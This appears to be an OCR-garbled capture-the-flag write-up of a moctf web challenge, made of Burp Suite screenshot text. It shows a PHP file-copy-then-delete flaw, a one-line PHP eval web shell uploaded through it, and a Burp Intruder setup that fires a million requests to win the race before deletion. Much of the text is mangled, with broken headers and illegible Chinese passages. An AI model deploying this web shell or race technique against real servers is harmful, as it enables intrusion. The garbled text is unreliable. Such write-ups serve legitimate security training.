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<?php
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
/...
//check file
unlink($ _GET['dst']);
VI

?>
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Welcome to moctf~
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Go Cancel <|¥ Follow redirection

‘ Request Response
L[ RawTHeaders THex] JRawTHeaders THex]
'GET /web2/index.php HTTP/1.1 A HTTP/1.1 302 Found
]Host: 119.23.73.3:5006 - Date: Mon, 03 Jun 2019 00:58:21 GMT
icache-Control: max-age=0 Server: Apache/2.4.7 (Ubuntu)
Upgrade-Insecure-Requests: 1 X-Powered-By: PHP/5.5.9-lubuntu4.14
{User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 10_14_5) Location: index2.php
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Length: 33
kAccept: Connection: close
ktext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apn Content-Type: text/html
(9r*/*;9=0.8,application/signed-exchange;v=b3
Referer: http://www.moctf.com/challenges May be u need uploadsomething.php
Accept-Encoding: gzip, deflate
(Accept-Language: zh-CN,zh;g=0.9
jConnection: close
I
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Content

<?php eval ($_POST['moctf']) ;?>

Submit
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| m Payload Positions Start attack |
1 Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
I details.
1
3 Attack type: [Sniper \VJ
4
: GET /web2/uploads/d161164bb778202542c4a53efec6631439f3de44/1.php HTTP/1.1 A Add §
1 Host: 119.23.73.3:5006
4 Pragma: no-cache ——
4 Cache-Control: no-cache Clear §
¢ Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.§36S§| Auto §
14 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
( Accept-Encoding: gzip, deflate
H Accept-Language: zh-CN,zh;g=0.9
| Connection: close
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@ Payload Sets Start attacl

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: @ Payload count: 1,000,000
Payload type: Request count: 1,000,000

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: @® Sequential () Random
From: 1

To: 1000000

Step: 1

How many:

GERBEERIY.. ERKIET?

FHERE T AAKEE, I T HAMBREER, —R_RAW b3, —MRAW RV GXERERIHAFHKZNUI
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J Results | Target | Positions | Payloads | Options |

Filter: Showing all items

rror | Timeout |Length | Comment

Request 4| Payload | status |Error | Timeout | Length | Comment O O 2146
7 null 200 ] J 19 Al o O 2146
8 null 200 O O 196 - O 2146
9 null 200 a 0 19 O O 2146
10 null 200 O O 19 o O 2146
11 null 200 O O 196 @] O 2146
12 null 200 a 0 19 O O 2146
13 null 200 O @] 196 O O 2146
14 null 200 g [0 ]2z O 0 2146
15 null 200 ] ()] 196 - O 2146
16 null 200 (@] g 196 O O 2146
17 null 200 @) 0O 19 =) O 2146
18 null 200 (] ()] 196 O O 2146
19 null 200 O J 19 O O 2146
20 null 200 g 0 19 V= —

Request | Response
Raw | Headers | Hex

ITTP/1.1 200 OK N
Jdate: Mon, 03 Jun 2019 02:06:15 GMT

Server: Apache/2.4.7 (Ubuntu)

{-Powered-By: PHP/5.5.9-lubuntu4.14

Zontent-Length: 33

Connection: close

Content-Type: text/html
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